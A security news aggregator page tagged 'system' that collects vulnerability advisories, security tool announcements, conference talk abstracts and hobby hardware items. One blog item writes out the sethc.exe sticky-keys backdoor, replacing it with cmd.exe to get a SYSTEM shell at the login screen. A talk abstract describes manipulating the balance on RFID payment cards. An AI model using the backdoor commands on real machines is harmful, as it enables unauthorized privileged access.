«
Expand/Collapse
484 items tagged "system"
Related tags:
systemtap [+],
system 1 [+],
sql [+],
secunia [+],
management homepage [+],
hp system [+],
cross site scripting [+],
chaos communication congress [+],
advisory [+],
ubuntu [+],
real time system [+],
news [+],
hat [+],
forgery [+],
alert management [+],
security restrictions [+],
intuit [+],
cisco security advisory [+],
cisco security [+],
system versions [+],
steve grubb [+],
sagan [+],
request system [+],
request [+],
page [+],
news system [+],
log [+],
linux kernel version [+],
intrusion prevention [+],
detection intrusion [+],
center [+],
capture [+],
arbitrary command [+],
xfs [+],
suse [+],
kernel [+],
gain root privileges [+],
cross [+],
clement lecigne [+],
arduino [+],
vulnerability [+],
time [+],
t interactive [+],
system management [+],
scada system [+],
scada [+],
rfid [+],
protocol [+],
operating system [+],
microsoft [+],
memory leak [+],
local system [+],
homepage [+],
home [+],
heap corruption [+],
graphical [+],
filing [+],
filesystem manager [+],
exec [+],
encryption schemes [+],
cryptmount [+],
code execution [+],
backup exec system [+],
automatic configuration [+],
windows xp sp2 [+],
werkform [+],
webmodo [+],
userspace [+],
tool [+],
timo warns [+],
ticket system [+],
ticket [+],
telepresence system [+],
target system [+],
tajan [+],
system security services [+],
system heap [+],
sssd [+],
sql injection [+],
simple [+],
security notice [+],
role based access control [+],
roaming [+],
remote [+],
red hat enterprise [+],
radiography [+],
posting system [+],
posting [+],
portal system [+],
portal [+],
php [+],
phil oester [+],
pam [+],
packet inspection [+],
nvisionix [+],
null pointer [+],
netbill [+],
module [+],
microsoft windows xp sp2 [+],
mevlana [+],
memory corruption [+],
local [+],
loading restrictions [+],
kolifa [+],
kernel packages [+],
kernel memory [+],
iptables [+],
invalid pointer [+],
internet explorer settings [+],
integrator [+],
injection system [+],
inclusion [+],
hidden processes [+],
heap [+],
goto [+],
free software updates [+],
forensic tool [+],
file management system [+],
exploit [+],
expense management system [+],
expense [+],
execution [+],
dos [+],
cryptographic file system [+],
crash proof [+],
control [+],
content management system [+],
conntrack [+],
common services [+],
commandline interface [+],
command [+],
cisco telepresence [+],
c series [+],
billing system [+],
billing [+],
beta [+],
authentication methods [+],
authentication mechanisms [+],
authentication [+],
attacker [+],
arbitrary commands [+],
arastar [+],
account creation [+],
access control system [+],
access [+],
xbox [+],
x lion [+],
winter tags [+],
washington [+],
voting [+],
unexpected [+],
understanding [+],
tripwire [+],
the netherlands [+],
tape library [+],
taiwan [+],
taipei [+],
system storage [+],
system scripts [+],
system kernel [+],
system integrity checker [+],
system constraints [+],
storage [+],
ssl 3 [+],
sound [+],
sim [+],
shop [+],
server vulnerability [+],
security vulnerabilities [+],
safer use [+],
rootkit [+],
root privileges [+],
robots [+],
rex [+],
rental shop [+],
rental [+],
red hat fedora [+],
ralf philipp [+],
public transportation services [+],
program locks [+],
privacy event [+],
privacy [+],
pilot project [+],
overcoming fear [+],
os functionality [+],
operating [+],
nothing [+],
network interfaces [+],
mouse games [+],
misc [+],
mac os [+],
library express [+],
kernel versions [+],
kernel mode [+],
japanese android [+],
issue [+],
internet voting [+],
internet [+],
integrity [+],
initialization routine [+],
ike [+],
ibm [+],
hp ux [+],
help system [+],
harald welte [+],
guillaume delugr [+],
g usb [+],
fedora core [+],
exploits [+],
email [+],
door [+],
digital [+],
delivery [+],
d.c. [+],
countermeasure [+],
complexity [+],
code [+],
cisco content [+],
card [+],
capital taipei [+],
black hat [+],
bastille [+],
baseband [+],
asia [+],
apple security [+],
android [+],
abu dhabi [+],
absentee voters [+],
security [+],
denial of service [+],
red hat security [+],
hacks [+],
file [+],
zzstructure [+],
world [+],
winxp [+],
winter [+],
wayne [+],
vulnerability sun [+],
vulnerability analysis [+],
voice recognition system [+],
voice [+],
vehicle communication [+],
vasilis [+],
vacation spot [+],
utility bills [+],
user [+],
usaf [+],
usa [+],
uri redirection [+],
unc chapel hill [+],
typo [+],
tweeting [+],
tutorial [+],
trip wire [+],
toy [+],
touchpad [+],
tiny bit [+],
tinkerer [+],
tin cans [+],
thieves [+],
telepresence [+],
telephone intercom system [+],
system updates [+],
system shell [+],
system monitor [+],
system index [+],
system extension [+],
system controller [+],
surround [+],
sun [+],
structure mounts [+],
streamer [+],
sticky keys [+],
stefano zanero [+],
sprite [+],
sprinklers [+],
sprinkler system [+],
sprinkler [+],
source tracking system [+],
source [+],
sound source [+],
sound localization [+],
sms message [+],
smh [+],
smart cities [+],
smart [+],
slides [+],
sibex [+],
sethc [+],
session hijacking [+],
service vulnerability [+],
serial interface [+],
sega [+],
security system [+],
script kiddies [+],
sbus [+],
run time system [+],
robot system [+],
rig [+],
revolutionizing [+],
resource manager [+],
research [+],
recognition [+],
radar system [+],
radar [+],
quiz buzzer [+],
quiz [+],
quad delta [+],
quad [+],
python [+],
proprietary algorithms [+],
project engineering [+],
price [+],
positive feedback [+],
portable security [+],
phpbridges [+],
petri dishes [+],
pcs [+],
pc [+],
patras greece [+],
pass [+],
party [+],
p space [+],
own operating system [+],
old refrigerator [+],
navigation maps [+],
motorized camera [+],
motorized [+],
monitor [+],
molecular biologists [+],
modular [+],
model aircraft [+],
mmcs [+],
mitsubishi [+],
milwaukee [+],
microcontrollers [+],
microcontroller [+],
michael scarito [+],
memory usage [+],
member management system [+],
member [+],
machine [+],
localization system [+],
localization [+],
linux distro [+],
linear bearing [+],
legos [+],
last winter [+],
laser tripwire [+],
laser [+],
kinect [+],
kickstarter [+],
kenneth finnegan [+],
kegerator [+],
john ohno [+],
john [+],
java system [+],
java [+],
jarvis [+],
jan [+],
intrusion detection [+],
intruders [+],
intercom [+],
instructables [+],
hypertext [+],
how to [+],
hosting system [+],
home theater [+],
home automation [+],
home alarm system [+],
henry fuchs [+],
heating tape [+],
handwriting [+],
handling [+],
hackerspace [+],
guess [+],
green [+],
greece [+],
futaba [+],
face recognition system [+],
face [+],
fabrication system [+],
eyebrow [+],
exe [+],
escalation [+],
entertainment [+],
emulator [+],
emergency [+],
drew copley [+],
diy [+],
distance [+],
dispensing system [+],
dirt [+],
detection [+],
decode [+],
day [+],
data breach [+],
dark recesses [+],
cve [+],
cryptographic algorithms [+],
craig [+],
copley [+],
content delivery [+],
cons [+],
computer [+],
compromised [+],
communication [+],
comment [+],
combination lock [+],
collapse [+],
cobol server [+],
clone [+],
client [+],
classic [+],
cisco internet [+],
cisco cds [+],
cifs [+],
chris [+],
charlie miller [+],
chapel hill student [+],
chapel hill [+],
category system [+],
category [+],
cat jubinski [+],
cat burglars [+],
caribbean [+],
cameras [+],
camera [+],
call [+],
buzzer system [+],
bus lines [+],
build [+],
bug hunters [+],
buffer overflow vulnerability [+],
bud townsend [+],
brian harding [+],
brian [+],
bomb bay doors [+],
blog [+],
bitler [+],
bitcoin [+],
bit [+],
biobrick a bot [+],
beer [+],
bearing system [+],
based buffer overflow [+],
bart dring [+],
backup exec system recovery [+],
automation system [+],
audio [+],
ars [+],
arkin tags [+],
argument analysis [+],
anomaly detection [+],
anomaly [+],
angel recon [+],
andrew maimone [+],
analog phones [+],
aluminum angle [+],
alarm system [+],
alarm [+],
access system [+],
aaron bitler [+],
Pentesting [+],
Hardware [+],
Hackerspaces [+],
red [+],
server [+],
management [+],
instrumentation system [+],
ram disk [+],
openpgp key [+],
encrypted file system [+],
flaw [+],
linux [+],
symantec [+],
linux kernel [+],
command execution [+],
zip,
zero day,
zdi,
xss,
x preferences,
wimax,
william grant,
wiesbaden,
welch,
website,
webhost,
web system,
web server component,
web server admin,
web,
watts,
watering system,
watering,
water saving,
warszawa,
vulnerabilty,
vulnerability system,
vulnerabilities,
vtol,
virtualized,
virtual machines,
virtual,
vigo,
video generation,
video game system,
video,
version 6,
usn,
usgs website,
use,
usb,
url,
university,
unauthorized access,
txt,
transportation,
tracking,
time password,
ticking time bomb,
ticket request,
ti presenter,
ti calculators,
thompson mathew monroe tags,
thomas,
temperature,
teacher edition,
target,
tar gz,
tar,
tabs,
t content,
systemboost dllhijack,
system v2,
system v1,
system temperature,
system security,
system registers,
system programmer,
system privileges,
system options,
system news,
system management mode,
system information,
system flaws,
system configuration files,
system compromise,
system communications,
system clipboard,
system boots,
system beep,
system automation,
system 3,
syscall,
synthesizer system,
symantec products,
super nintendo,
sun microsystems,
suffers,
streamarmor,
stock titles,
steve chen,
stack buffer,
sql queries,
spinola,
source packages,
sophisticated tool,
solaris,
sixth generation ipod,
simm,
sida,
shop system,
shellexecute,
shellcode,
setup wizard,
setup,
server ldap,
seminal idea,
security risks,
security fears,
securid,
secure system,
script sql,
script files,
scott saponas,
school management system,
school,
scholarship award,
scholarship,
schematics,
sap logon,
sap gui,
s system,
rs485,
rossum,
rope,
roberto barrios,
ring 0,
rfid tags,
reviews,
restrictions,
repair,
remote file include vulnerability,
remote exploit,
remote buffer overflow,
remote admin,
regulatre,
registers,
redirecturl,
recordings,
recharging ac,
recharging,
realtor website,
realtor,
read,
rainy days,
rain barrels,
rain barrel,
rain,
quynh,
quot,
quest,
psa,
propane,
proof method,
project ideas,
project,
programmable microcontrollers,
program stack,
privileged operations,
privilege escalation vulnerability,
private user,
prevention,
preorder,
preisschlacht,
pre,
potential security vulnerability,
positioning system,
portable,
port 1026,
pointter,
point,
planyo,
pjl,
pin system,
pin,
phpscripte,
php content management system,
php content management,
phone,
phillips ambilight,
peter stuge,
persistenet,
peripherals,
peludo,
pdf reader software,
pdf,
pc security software,
pc mainboard,
paul,
password disclosure,
password,
paper,
paging system,
paging,
page pdf,
own tv,
otrs,
other security threats,
oscar,
oracle java,
open ticket,
onstar system,
onstar,
online,
oliver,
odd calendar,
obstacle,
novell iprint,
novastor,
novanet,
notification system,
node communications,
node,
nintendo entertainment system,
nintendo,
nike,
nicholas,
nguyen anh,
new toy,
new mac,
network security,
netvolution,
need,
national security system,
national,
nano,
music,
multitool,
multi lingual,
msa,
modem,
microsystems,
microsoft windows system,
metasploit,
mesh network,
memory ranges,
mclogin,
mcdonald,
matt,
mathew,
master clock,
master,
market,
mario,
many false positives,
management system,
mailing,
macchanger,
mac os x,
mac address,
lzw algorithm,
lyon,
low water pressure,
low frequency,
low,
login system,
login,
logic chips,
list,
linux versions,
link,
lighting system,
lighting,
li guillaume lovet,
lfi,
level content,
lempel ziv,
leatherman multitool,
landi,
lack,
kevin mitnickcrypto,
kernel space,
kaleidoscope,
junk box,
james bond,
isa expansion bus,
isa,
irobot,
ir temperature,
ipod nano,
ipod,
iphone,
intrusion prevention system,
intrusion,
intruder alarm,
intruder,
intel bios,
insight manager,
insight,
initial attempts,
information disclosure vulnerability,
independent self,
impressive range,
impersonation,
hub,
hsnet,
hp servers,
household status,
household,
hotness,
hosting,
hospital management system,
hospital,
hijacking,
high frequency,
hidden streams,
helix server,
heap management,
headsets,
hardware choices,
hard,
handhelds,
hacker history,
gzip,
guimaraes,
guido landi,
guido,
guest kernel,
grub boot loader,
grub,
grinding,
great lengths,
gm cars,
garote,
gaming system,
gaming,
game of life,
game boy advance,
fugitive game,
from,
frequency,
freepbx,
format string,
forensic research,
forensic,
flirt,
flatfile,
flash system,
flash,
first,
filter driver,
file upload,
file sharing system,
fellow researchers,
fellow authors,
fatal system error,
fatal,
factor authentication,
facebook,
external modem,
external crystal,
express,
explosive situation,
expert,
expanding,
europe,
error code 15,
entry,
encrypted password,
encompass,
emergency lighting,
elite 2,
elite,
electronic,
egg problem,
eeg,
earthquake data,
earthquake alert system,
earthquake,
e.g.,
e commerce system,
e commerce,
dsa,
dr. stefan savage,
dr stefan,
doug,
don,
document management system,
dll module,
dll,
disses,
disk partitions,
disk,
directory traversal vulnerability,
directory,
diego spinola,
didier stevens,
detail,
denial,
daybiz,
dave jones,
darknet,
cvechecker,
cryptography,
critical system,
critical,
cortex,
coreboot,
core system,
core,
cordless phone,
content,
consumption,
computer system,
communications express,
cms,
clones,
clock,
clipboard,
classified system,
classified,
christian pigeon,
chip,
chief content,
checkpoint,
charging system,
cartridge slot,
car,
call security,
call management system,
c programming language,
bullet proof,
brilliant,
boost,
booking system,
booking,
book,
body,
bios,
bild,
bicycle,
better solution,
ben hawkes,
beeps,
beep,
bbc report,
based intrusion prevention system,
based intrusion prevention,
award,
automated system,
authority,
authentication system,
audit system,
audit,
atlanta,
atari flashback 2,
atari,
assets,
apple mac os x,
apple mac os,
apple ipad,
apple,
antenna,
andy crocker,
andrew,
ambient lighting,
ambient,
alternate data streams,
alert,
agentx,
advanced,
advance travel,
advance,
admin login,
active x,
accounting system,
accounting,
access interface,
Wireless,
Support,
HackIt,
General,
Discussion,
BackTrack
-
-
13:08
»
Packet Storm Security Recent Files
Ubuntu Security Notice 1453-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was found in the Linux kernel's KVM (Kernel Virtual Machine) virtual cpu setup. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. Steve Grubb reported a flaw with Linux fscaps (file system base capabilities) when used to increase the permissions of a process. For application on which fscaps are in use a local attacker can disable address space randomization to make attacking the process with raised privileges easier. Various other issues were also addressed.
-
13:08
»
Packet Storm Security Misc. Files
Ubuntu Security Notice 1453-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was found in the Linux kernel's KVM (Kernel Virtual Machine) virtual cpu setup. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. Steve Grubb reported a flaw with Linux fscaps (file system base capabilities) when used to increase the permissions of a process. For application on which fscaps are in use a local attacker can disable address space randomization to make attacking the process with raised privileges easier. Various other issues were also addressed.
-
-
7:08
»
Packet Storm Security Recent Files
Ubuntu Security Notice 1445-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was found in the Linux kernel's KVM (Kernel Virtual Machine) virtual cpu setup. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. Steve Grubb reported a flaw with Linux fscaps (file system base capabilities) when used to increase the permissions of a process. For application on which fscaps are in use a local attacker can disable address space randomization to make attacking the process with raised privileges easier. Various other issues were also addressed.
-
7:08
»
Packet Storm Security Misc. Files
Ubuntu Security Notice 1445-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was found in the Linux kernel's KVM (Kernel Virtual Machine) virtual cpu setup. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. Steve Grubb reported a flaw with Linux fscaps (file system base capabilities) when used to increase the permissions of a process. For application on which fscaps are in use a local attacker can disable address space randomization to make attacking the process with raised privileges easier. Various other issues were also addressed.
-
7:07
»
Packet Storm Security Advisories
Ubuntu Security Notice 1445-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was found in the Linux kernel's KVM (Kernel Virtual Machine) virtual cpu setup. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. Steve Grubb reported a flaw with Linux fscaps (file system base capabilities) when used to increase the permissions of a process. For application on which fscaps are in use a local attacker can disable address space randomization to make attacking the process with raised privileges easier. Various other issues were also addressed.
-
7:07
»
Packet Storm Security Misc. Files
Ubuntu Security Notice 1445-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was found in the Linux kernel's KVM (Kernel Virtual Machine) virtual cpu setup. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. Steve Grubb reported a flaw with Linux fscaps (file system base capabilities) when used to increase the permissions of a process. For application on which fscaps are in use a local attacker can disable address space randomization to make attacking the process with raised privileges easier. Various other issues were also addressed.
-
-
0:11
»
Packet Storm Security Advisories
Secunia Security Advisory - A vulnerability has been reported in Hitachi COBOL GUI Run Time System and Hitachi COBOL Server GUI Run Time System, which can be exploited by malicious people to compromise a user's system.
-
-
8:19
»
Packet Storm Security Advisories
Apple Security Advisory 2012-05-09-1 - OS X Lion v10.7.4 and Security Update 2012-002 is now available and addresses multiple security issues. An issue existed in the handling of network account logins. The login process recorded sensitive information in the system log, where other users of the system could read it. A temporary file race condition issue existed in blued's initialization routine. There are known attacks on the confidentiality of SSL 3.0 and TLS 1.0 when a cipher suite uses a block cipher in CBC mode. curl disabled the 'empty fragment' countermeasure which prevented these attacks. This issue is addressed by enabling empty fragments. A data injection issue existed in curl's handling of URLs. This issue is addressed through improved validation of URLs. This issue does not affect systems prior to OS X Lion. Various other vulnerabilities have been addressed.
-
8:19
»
Packet Storm Security Recent Files
Apple Security Advisory 2012-05-09-1 - OS X Lion v10.7.4 and Security Update 2012-002 is now available and addresses multiple security issues. An issue existed in the handling of network account logins. The login process recorded sensitive information in the system log, where other users of the system could read it. A temporary file race condition issue existed in blued's initialization routine. There are known attacks on the confidentiality of SSL 3.0 and TLS 1.0 when a cipher suite uses a block cipher in CBC mode. curl disabled the 'empty fragment' countermeasure which prevented these attacks. This issue is addressed by enabling empty fragments. A data injection issue existed in curl's handling of URLs. This issue is addressed through improved validation of URLs. This issue does not affect systems prior to OS X Lion. Various other vulnerabilities have been addressed.
-
-
21:36
»
SecDocs
Authors:
Henryk Plötz Milosch Meriac Tags:
RFID Event:
Chaos Communication Congress 27th (27C3) 2010 Abstract: Popular contactless systems for physical access control still rely on obscurity. As we have shown, time and time again, proprietary encryption systems are weak and easy to break. In a follow-up to last year's presentation we will now demonstrate attacks on systems with 'proper' cryptographic algorithms. Since we broke the last of the big players on the market at 26C3, most vendors are now migrating to new systems which rectify our main point of concern: proprietary algorithms. All new technologies use AES or 3DES for encryption and/or authentication and vendors tirelessly tout the security of their systems and the use of these algorithms between card, reader and host. We will discuss the design of the successor to a system we attacked last year, and demonstrate how a system can be insecure despite the use of secure cryptoprimitives.
-
-
17:17
»
Packet Storm Security Advisories
Ubuntu Security Notice 1432-1 - A flaw was found in the Linux's kernels ext4 file system when mounted with a journal. A local, unprivileged user could exploit this flaw to cause a denial of service. A flaw was discovered in the Linux kernel's cifs file system. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. A flaw was found in the Linux kernel's ext4 file system when mounting a corrupt filesystem. A user-assisted remote attacker could exploit this flaw to cause a denial of service. Various other issues were also addressed.
-
-
21:52
»
SecDocs
Tags:
games Event:
Chaos Communication Congress 27th (27C3) 2010 Abstract: Over 70 million Wiis, over 40 million Xbox 360s and over 35 million Playstation 3s have been sold in the last few years. That makes over 145 million embedded devices out there and most of them are just used to play games. But what can you do with them if you don't like playing games? You hack them to make them run your own code of course! We're going to talk about the various hacks that you can use to gain control of your hardware and make it do what you want it to do. 2010 saw the first hacks for the Playstation 3, soon after Sony removed Other OS functionality. We will detail the operation of current PS3 exploits, show a few new ones and explain where and how Sony went wrong when designing its security system, and show how these holes can be used to gain control over the system and bring Linux back to the PS3. We will also go over hacks for the other consoles, including the JTAG hack for the Xbox 360 which made running homebrew code more convenient, and the cat-and-mouse games that Nintendo played with us to combat Wii hacks. We might also check out the security of their 'new' handheld console - the DSi. Gamers might find this talk interesting even though it is targeted at those who hack (or design) embedded system security. A basic knowledge of crypto is therefore assumed. We will also be present in the Hackcenter before and after the presentation for those of you who are interested in learning more about the subject.
-
21:52
»
SecDocs
Tags:
games Event:
Chaos Communication Congress 27th (27C3) 2010 Abstract: Over 70 million Wiis, over 40 million Xbox 360s and over 35 million Playstation 3s have been sold in the last few years. That makes over 145 million embedded devices out there and most of them are just used to play games. But what can you do with them if you don't like playing games? You hack them to make them run your own code of course! We're going to talk about the various hacks that you can use to gain control of your hardware and make it do what you want it to do. 2010 saw the first hacks for the Playstation 3, soon after Sony removed Other OS functionality. We will detail the operation of current PS3 exploits, show a few new ones and explain where and how Sony went wrong when designing its security system, and show how these holes can be used to gain control over the system and bring Linux back to the PS3. We will also go over hacks for the other consoles, including the JTAG hack for the Xbox 360 which made running homebrew code more convenient, and the cat-and-mouse games that Nintendo played with us to combat Wii hacks. We might also check out the security of their 'new' handheld console - the DSi. Gamers might find this talk interesting even though it is targeted at those who hack (or design) embedded system security. A basic knowledge of crypto is therefore assumed. We will also be present in the Hackcenter before and after the presentation for those of you who are interested in learning more about the subject.
-
-
21:40
»
SecDocs
Authors:
Harald Welte Tags:
RFID bank Event:
Chaos Communication Congress 27th (27C3) 2010 Abstract: How to reverse engineer the data format of a real-world RFID based debit card system. One of Asia’s most popular electronic payment systems uses insecure technology. The EasyCard system, established in 2001, is the most popular stored-valued card in Taiwan. With more than 18 million issued cards, it is the predominant means of paying for public transportation services in the capital Taipei. In 2010, use of the EasyCard was extended beyond transportation. Card holders can now pay in all major convenience stores like 7eleven, coffe shops like Starbucks and and major retail companies like SOGO. Despite the large fraud potential, the EasyCard system uses the MIFARE Classic RFID technology, whose proprietary encryption cipher CRYPTO1 relied on obscurity and was first publicly broken several years ago at 24C3 This presentation analyzes the results of combining the practical attacks on the MIFARE Classic CRYPTO1 system in the context of the EasyCard payment system. It describes the process of reverse- engineering the actual content of the card to discover the public transportation transaction log, the account balance and how the daily spending limit work. Furthermore, the talk will present how fundamentally flawed the system is, and how easy it is to add or subtract monetary value to/from the card. Cards manipulated as described in the talk have been accepted by the payment system.
-
21:40
»
SecDocs
Authors:
Harald Welte Tags:
RFID bank Event:
Chaos Communication Congress 27th (27C3) 2010 Abstract: How to reverse engineer the data format of a real-world RFID based debit card system. One of Asia’s most popular electronic payment systems uses insecure technology. The EasyCard system, established in 2001, is the most popular stored-valued card in Taiwan. With more than 18 million issued cards, it is the predominant means of paying for public transportation services in the capital Taipei. In 2010, use of the EasyCard was extended beyond transportation. Card holders can now pay in all major convenience stores like 7eleven, coffe shops like Starbucks and and major retail companies like SOGO. Despite the large fraud potential, the EasyCard system uses the MIFARE Classic RFID technology, whose proprietary encryption cipher CRYPTO1 relied on obscurity and was first publicly broken several years ago at 24C3 This presentation analyzes the results of combining the practical attacks on the MIFARE Classic CRYPTO1 system in the context of the EasyCard payment system. It describes the process of reverse- engineering the actual content of the card to discover the public transportation transaction log, the account balance and how the daily spending limit work. Furthermore, the talk will present how fundamentally flawed the system is, and how easy it is to add or subtract monetary value to/from the card. Cards manipulated as described in the talk have been accepted by the payment system.
-
-
11:01
»
Hack a Day
This rig will take the letters you write on the touchpad using a stylus and turn them into digital characters. The system is very fast and displays near-perfect recognition. This is all thanks to a large data set that was gathered through machine learning. The ATmega644 that powers the system just doesn’t have the speed [...]
-
-
12:01
»
Hack a Day
[Neoxy] always wanted surround sound for his computer, and one day he managed to get a hold of a dead 5.1 system. Why buy one when you can repair someone’s rubbish, right? That turned out to be easier said than done, but after several false-starts he managed to resurrect the audio system by replacing the microcontroller. We [...]
-
-
9:10
»
Carnal0wnage
This has been documented all over, but i like things to be on the blog so i can find them...
You can gain a SYSTEM shell on an application you have administrative access on or if you have physical access to the box and can boot to repair disk or linux distro and can change files.
make a copy somewhere of the original on system sethc.exe
copy c:\windows\system32\sethc.exe c:\
cp /mnt/sda3/Windows/System32/sethc.exe /mnt/sda3/sethc.exe
copy cmd.exe into sethc.exe's place
copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
or
cp /mnt/sda3/Windows/System32/cmd.exe /mnt/sda3/Windows/System32/sethc.exe
Reboot, hit Shift key 5 times, SYSTEM shell will pop up, do your thing
it would probably be nice to sethc.exe back when you are done.
-
-
9:01
»
Hack a Day
How we missed this one is anybody’s guess, but one of the presentations at DEFCON last year covers a DIY radar build. [Michael Scarito] talks about the concepts behind radar, and then goes on to show that it’s not too hard or expensive to build a setup of your own. We’ve embedded his 45 minute [...]
-
-
9:55
»
Packet Storm Security Recent Files
Radiography is a forensic tool which grabs as much information as possible from a Windows system. It checks registry keys related to start up processes, registry keys with Internet Explorer settings, host file contents, taskScheduler tasks, loaded system drivers, uses WinUnhide to catch hidden processes, and does much more.
-
9:55
»
Packet Storm Security Tools
Radiography is a forensic tool which grabs as much information as possible from a Windows system. It checks registry keys related to start up processes, registry keys with Internet Explorer settings, host file contents, taskScheduler tasks, loaded system drivers, uses WinUnhide to catch hidden processes, and does much more.
-
9:55
»
Packet Storm Security Misc. Files
Radiography is a forensic tool which grabs as much information as possible from a Windows system. It checks registry keys related to start up processes, registry keys with Internet Explorer settings, host file contents, taskScheduler tasks, loaded system drivers, uses WinUnhide to catch hidden processes, and does much more.
-
-
21:37
»
SecDocs
Authors:
Brenno De Winter Tags:
privacy Event:
Chaos Communication Congress 28th (28C3) 2011 Abstract: Meet the Netherlands: a nation filled with techno-optimists protecting our freedom by puting in place restrictions on what you can do, reducing our privacy and have technology as a solution for anything and everything. When you make a trip we store your details for two years, your airplane meal selection from two years earlier is good data to test with and when migrating the government website we keep the old website running in an unmaintained state. If you have nothing to hide nothing can go wrong and there is nothing you can do. Well not quite. What would happen if you play the system? If you would take the train and hack the card? What if you were to pick up the resistance you face and use it in your advantage. No matter what the costs would carry on? If you would take some data and show the failures? Not just once but a full month long and call that month Leaktober. What if you would publicly call the failures with our personal data? Ultimately you make a difference. You change the law, you changes the rules of the game and you really can raise the question if storing all that data is really needed. Ultimately people really start to doubt if this is the right way to go. This is a strategic and tactical story on how you can regain some privacy and data protection. Even though for a journalist this should be normal work, thanks to some people these things become very personal. It ends in criminal prosecution, legal threats, insults, a successful counter hack and ultimately a lot of benefits. But standing up for a cause does work as long as you focus on the stories you want to bring. My story is about hacking the system from the inside, overcoming fear and showing bureaucrats that hackers are people too. The talk is a lessons learnt how a few people can change a nation with hacker beliefs if they really want to. A guideline on how to make a difference by hacking the system you want to change. Where you can even make huge mistakes, but with some luck you can win a world. How you can make your critical voice be heard. Zillions of lessons learnt.
-
21:37
»
SecDocs
Authors:
Brenno De Winter Tags:
privacy Event:
Chaos Communication Congress 28th (28C3) 2011 Abstract: Meet the Netherlands: a nation filled with techno-optimists protecting our freedom by puting in place restrictions on what you can do, reducing our privacy and have technology as a solution for anything and everything. When you make a trip we store your details for two years, your airplane meal selection from two years earlier is good data to test with and when migrating the government website we keep the old website running in an unmaintained state. If you have nothing to hide nothing can go wrong and there is nothing you can do. Well not quite. What would happen if you play the system? If you would take the train and hack the card? What if you were to pick up the resistance you face and use it in your advantage. No matter what the costs would carry on? If you would take some data and show the failures? Not just once but a full month long and call that month Leaktober. What if you would publicly call the failures with our personal data? Ultimately you make a difference. You change the law, you changes the rules of the game and you really can raise the question if storing all that data is really needed. Ultimately people really start to doubt if this is the right way to go. This is a strategic and tactical story on how you can regain some privacy and data protection. Even though for a journalist this should be normal work, thanks to some people these things become very personal. It ends in criminal prosecution, legal threats, insults, a successful counter hack and ultimately a lot of benefits. But standing up for a cause does work as long as you focus on the stories you want to bring. My story is about hacking the system from the inside, overcoming fear and showing bureaucrats that hackers are people too. The talk is a lessons learnt how a few people can change a nation with hacker beliefs if they really want to. A guideline on how to make a difference by hacking the system you want to change. Where you can even make huge mistakes, but with some luck you can win a world. How you can make your critical voice be heard. Zillions of lessons learnt.
-
-
19:03
»
Packet Storm Security Recent Files
Sagan is multi-threaded, real-time system- and event-log monitoring software, but with a twist. Sagan uses a "Snort" like rule set for detecting nefarious events happening on your network and/or computer systems. If Sagan detects a "bad thing" happening, it can do a number of things with that information. Sagan can also correlate the events with your Intrusion Detection/Intrusion Prevention (IDS/IPS) system and basically acts like an SIEM (Security Information and Log Management) system.
-
19:03
»
Packet Storm Security Tools
Sagan is multi-threaded, real-time system- and event-log monitoring software, but with a twist. Sagan uses a "Snort" like rule set for detecting nefarious events happening on your network and/or computer systems. If Sagan detects a "bad thing" happening, it can do a number of things with that information. Sagan can also correlate the events with your Intrusion Detection/Intrusion Prevention (IDS/IPS) system and basically acts like an SIEM (Security Information and Log Management) system.
-
19:03
»
Packet Storm Security Misc. Files
Sagan is multi-threaded, real-time system- and event-log monitoring software, but with a twist. Sagan uses a "Snort" like rule set for detecting nefarious events happening on your network and/or computer systems. If Sagan detects a "bad thing" happening, it can do a number of things with that information. Sagan can also correlate the events with your Intrusion Detection/Intrusion Prevention (IDS/IPS) system and basically acts like an SIEM (Security Information and Log Management) system.
-
10:01
»
Hack a Day
In the world of model aircraft, Futaba’s SBUS system is a big deal. Instead of having one servo per channel, the SBUS system allows for 16 proportional controls and two digital channels for each receiver. Basically, if you’re building an awesome plane with retracts on the landing gear and bomb bay doors, this is what you want to [...]
-
-
6:01
»
Hack a Day
Many of the hacks featured here inspire others to build on the creator’s work, and on occasion the positive feedback brings the hack to market. Last year we told you about [Wayne’s] creation, a system aimed at tracking down would-be game console thieves. He received a bunch of requests to document the tracker in full, [...]
-
-
17:18
»
Packet Storm Security Recent Files
cryptmount is a utility for creating and managing secure filing systems on GNU/Linux systems. After initial setup, it allows any user to mount or unmount filesystems on demand, solely by providing the decryption password, with any system devices needed to access the filing system being configured automatically. A wide variety of encryption schemes (provided by the kernel dm-crypt system and the libgcrypt library) can be used to protect both the filesystem and the access key. The protected filing systems can reside in either ordinary files or disk partitions. The package also supports encrypted swap partitions, and automatic configuration on system boot-up.
-
17:18
»
Packet Storm Security Misc. Files
cryptmount is a utility for creating and managing secure filing systems on GNU/Linux systems. After initial setup, it allows any user to mount or unmount filesystems on demand, solely by providing the decryption password, with any system devices needed to access the filing system being configured automatically. A wide variety of encryption schemes (provided by the kernel dm-crypt system and the libgcrypt library) can be used to protect both the filesystem and the access key. The protected filing systems can reside in either ordinary files or disk partitions. The package also supports encrypted swap partitions, and automatic configuration on system boot-up.
-
-
14:31
»
Hack a Day
[Craig] tried heating his greenhouse last winter, but really only managed to push the limits of his utility bills. This time around he took a different approach by building a system to warm the soil in which his vegetation is planted. The core of the system is this box which houses the plants. It is lined with heating tape [...]
-
12:55
»
SecDocs
Authors:
Guillaume Delugré Tags:
phone Event:
